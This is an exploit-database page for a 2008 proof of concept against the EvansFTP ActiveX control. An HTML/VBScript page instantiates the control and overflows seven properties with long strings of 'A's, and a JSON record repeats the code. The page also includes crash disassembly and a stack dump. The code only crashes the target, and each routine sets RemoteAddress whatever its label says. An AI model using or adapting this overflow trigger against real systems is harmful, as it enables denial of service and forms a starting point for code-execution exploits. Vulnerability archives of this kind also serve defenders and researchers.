Search...

EvansFTP EvansFTP.ocx Remote Buffer Overflow PoC

2008-12-14T00:00:00

ID EDB-ID:7460
Type exploitdb
Reporter Bl@ckbe@rD
Modified 2008-12-14T00:00:00

Description

EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC. Dos exploit for windows platform

                                        
                                            &lt;HTML&gt;
&lt;package&gt;&lt;job id='DoneInVBS' debug='false' error='true'&gt;
&lt;object classid='clsid:7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD' id='beard' /&gt;
&lt;HEAD&gt;
  &lt;TITLE&gt;EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC&lt;/TITLE&gt;
&lt;/HEAD&gt;
&lt;BODY&gt;
[+] Application : EvansFTP ActiveX &lt;br&gt;
[+] CompanyName    : Evans Programming &lt;br&gt;
[+] Description    : Multi-threaded asynchronus Active-X FTP Control&lt;br&gt;
[+] Lib GUID    : {DA3C77F4-8701-11D4-908B-00010268221D}&lt;br&gt;
[+] Exploit     : Remote BoF (PoC)&lt;br&gt;
[+] Author      : Bl@ckbe@rD // Blackbeard-sql{a.t}Hotmail{dot}fr&lt;br&gt;&lt;br&gt;
[+] Object Safety Report :&lt;br&gt;
Report for Clsid: {7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD}&lt;br&gt;
RegKey Safe for Script: Faux&lt;br&gt;
RegKey Safe for Init: Faux&lt;br&gt;
Implements IObjectSafety: Vrai&lt;br&gt;
IDisp Safe:  Safe for untrusted: caller,data  &lt;br&gt;
IPStorage Safe:  Safe for untrusted: caller,data &lt;br&gt;&lt;br&gt;
RegKey Safe for Script: Faux&lt;br&gt;
RegkeySafe for Init: Faux&lt;br&gt;
KillBitSet: Faux&lt;br&gt;
&lt;br&gt;&lt;br&gt;
The Proprieties (RemoteAddress,ProxyPrefix,ProxyName,Password,ProxyBypassList,LoginName,CurrentDirectory) suffers from Buffer Overflow when we pass long strings in fact : &lt;br&gt;
1- RemoteAddress    suffers from a BoF when we pass a string over 2068  &lt;br&gt;
2- ProxyPrefix      suffers from a BoF when we pass a string over 1044  &lt;br&gt;
3- ProxyName        suffers from a BoF when we pass a string over 1044   &lt;br&gt;
4- Password         suffers from a BoF when we pass a string over 1044   &lt;br&gt;
5- ProxyBypassList  suffers from a BoF when we pass a string over 1044   &lt;br&gt;
6- LoginName        suffers from a BoF when we pass a string over 1044   &lt;br&gt;
7- CurrentDirectory suffers from a BoF when we pass a string over 1044   &lt;br&gt;&lt;br&gt;
DisASM RemoteAddress Crash :&lt;br&gt;&lt;pre&gt;
7C809EEC    MOV AL,[EDX]    (KERNEL32.dll)
 
7C809ED4    TEST EDX,EDX
7C809ED6    JE 7C80C858
7C809EDC    LEA EDI,[EDX+EAX-1]
7C809EE0    CMP EDI,EDX
7C809EE2    JB 7C80C858
7C809EE8    AND DWORD PTR [EBP-4],0
7C809EEC    MOV AL,[EDX]      &lt;--- CRASH
 
EBP+8    FEEEFEEE
Stack Dump:
13FC18      A7 F3 01 66 EE FE EE FE 04 00 00 00 02 00 00 00
 
&lt;/pre&gt;
&lt;script language='vbscript'&gt;
Sub RemoteAddress
arg1=String(2068, "A")
beard.RemoteAddress = arg1
End Sub
 
Sub ProxyPrefix
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub
 
Sub ProxyName
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub
 
Sub Password
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub
 
Sub ProxyBypassList
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub
 
Sub LoginName
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub
 
Sub CurrentDirectory
arg1=String(1044, "A")
beard.RemoteAddress = arg1
End Sub
&lt;/script&gt;&lt;br&gt;&lt;br&gt;
 
&lt;INPUT TYPE="button" VALUE="RemoteAddress PoC" ONCLICK=RemoteAddress()&gt;
&lt;INPUT TYPE="button" VALUE="ProxyPrefix PoC" ONCLICK=ProxyPrefix()&gt;
&lt;INPUT TYPE="button" VALUE="ProxyName  PoC" ONCLICK=ProxyName()&gt;
&lt;INPUT TYPE="button" VALUE="Password PoC" ONCLICK=Password()&gt;
&lt;INPUT TYPE="button" VALUE="ProxyBypassList PoC" ONCLICK=ProxyBypassList()&gt;
&lt;INPUT TYPE="button" VALUE="LoginName PoC" ONCLICK=LoginName()&gt;
&lt;INPUT TYPE="button" VALUE="CurrentDirectory PoC" ONCLICK=CurrentDirectory()&gt;&lt;br&gt;&lt;br&gt;
Brought to You by Bl@ckbe@rD&lt;br&gt;
Peace xD
 &lt;/BODY&gt;
&lt;/HTML&gt;

# milw0rm.com [2008-12-14]

JSON Vulners Source

Initial Source

{"hash": "3057fb8021d5f2bfeee311f93825ae7f0246ffa8f5bd549ba67a894ae34ee191", "id": "EDB-ID:7460", "lastseen": "2016-02-01T02:16:42", "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/7460/", "description": "EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC. Dos exploit for windows platform", "title": "EvansFTP EvansFTP.ocx Remote Buffer Overflow PoC", "sourceData": "<HTML>\n<package><job id='DoneInVBS' debug='false' error='true'>\n<object classid='clsid:7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD' id='beard' />\n<HEAD>\n <TITLE>EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC</TITLE>\n</HEAD>\n<BODY>\n[+] Application : EvansFTP ActiveX <br>\n[+] CompanyName : Evans Programming <br>\n[+] Description : Multi-threaded asynchronus Active-X FTP Control<br>\n[+] Lib GUID : {DA3C77F4-8701-11D4-908B-00010268221D}<br>\n[+] Exploit : Remote BoF (PoC)<br>\n[+] Author : Bl@ckbe@rD // Blackbeard-sql{a.t}Hotmail{dot}fr<br><br>\n[+] Object Safety Report :<br>\nReport for Clsid: {7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD}<br>\nRegKey Safe for Script: Faux<br>\nRegKey Safe for Init: Faux<br>\nImplements IObjectSafety: Vrai<br>\nIDisp Safe: Safe for untrusted: caller,data <br>\nIPStorage Safe: Safe for untrusted: caller,data <br><br>\nRegKey Safe for Script: Faux<br>\nRegkeySafe for Init: Faux<br>\nKillBitSet: Faux<br>\n<br><br>\nThe Proprieties (RemoteAddress,ProxyPrefix,ProxyName,Password,ProxyBypassList,LoginName,CurrentDirectory) suffers from Buffer Overflow when we pass long strings in fact : <br>\n1- RemoteAddress suffers from a BoF when we pass a string over 2068 <br>\n2- ProxyPrefix suffers from a BoF when we pass a string over 1044 <br>\n3- ProxyName suffers from a BoF when we pass a string over 1044 <br>\n4- Password suffers from a BoF when we pass a string over 1044 <br>\n5- ProxyBypassList suffers from a BoF when we pass a string over 1044 <br>\n6- LoginName suffers from a BoF when we pass a string over 1044 <br>\n7- CurrentDirectory suffers from a BoF when we pass a string over 1044 <br><br>\nDisASM RemoteAddress Crash :<br><pre>\n7C809EEC MOV AL,[EDX] (KERNEL32.dll)\n \n7C809ED4 TEST EDX,EDX\n7C809ED6 JE 7C80C858\n7C809EDC LEA EDI,[EDX+EAX-1]\n7C809EE0 CMP EDI,EDX\n7C809EE2 JB 7C80C858\n7C809EE8 AND DWORD PTR [EBP-4],0\n7C809EEC MOV AL,[EDX] <--- CRASH\n \nEBP+8 FEEEFEEE\nStack Dump:\n13FC18 A7 F3 01 66 EE FE EE FE 04 00 00 00 02 00 00 00\n \n</pre>\n<script language='vbscript'>\nSub RemoteAddress\narg1=String(2068, \"A\")\nbeard.RemoteAddress = arg1\nEnd Sub\n \nSub ProxyPrefix\narg1=String(1044, \"A\")\nbeard.RemoteAddress = arg1\nEnd Sub\n \nSub ProxyName\narg1=String(1044, \"A\")\nbeard.RemoteAddress = arg1\nEnd Sub\n \nSub Password\narg1=String(1044, \"A\")\nbeard.RemoteAddress = arg1\nEnd Sub\n \nSub ProxyBypassList\narg1=String(1044, \"A\")\nbeard.RemoteAddress = arg1\nEnd Sub\n \nSub LoginName\narg1=String(1044, \"A\")\nbeard.RemoteAddress = arg1\nEnd Sub\n \nSub CurrentDirectory\narg1=String(1044, \"A\")\nbeard.RemoteAddress = arg1\nEnd Sub\n</script><br><br>\n \n<INPUT TYPE=\"button\" VALUE=\"RemoteAddress PoC\" ONCLICK=RemoteAddress()>\n<INPUT TYPE=\"button\" VALUE=\"ProxyPrefix PoC\" ONCLICK=ProxyPrefix()>\n<INPUT TYPE=\"button\" VALUE=\"ProxyName PoC\" ONCLICK=ProxyName()>\n<INPUT TYPE=\"button\" VALUE=\"Password PoC\" ONCLICK=Password()>\n<INPUT TYPE=\"button\" VALUE=\"ProxyBypassList PoC\" ONCLICK=ProxyBypassList()>\n<INPUT TYPE=\"button\" VALUE=\"LoginName PoC\" ONCLICK=LoginName()>\n<INPUT TYPE=\"button\" VALUE=\"CurrentDirectory PoC\" ONCLICK=CurrentDirectory()><br><br>\nBrought to You by Bl@ckbe@rD<br>\nPeace xD\n </BODY>\n</HTML>\n\n# milw0rm.com [2008-12-14]\n", "objectVersion": "1.0", "cvelist": [], "published": "2008-12-14T00:00:00", "osvdbidlist": ["57365"], "references": [], "reporter": "Bl@ckbe@rD", "modified": "2008-12-14T00:00:00", "href": "https://www.exploit-db.com/exploits/7460/"}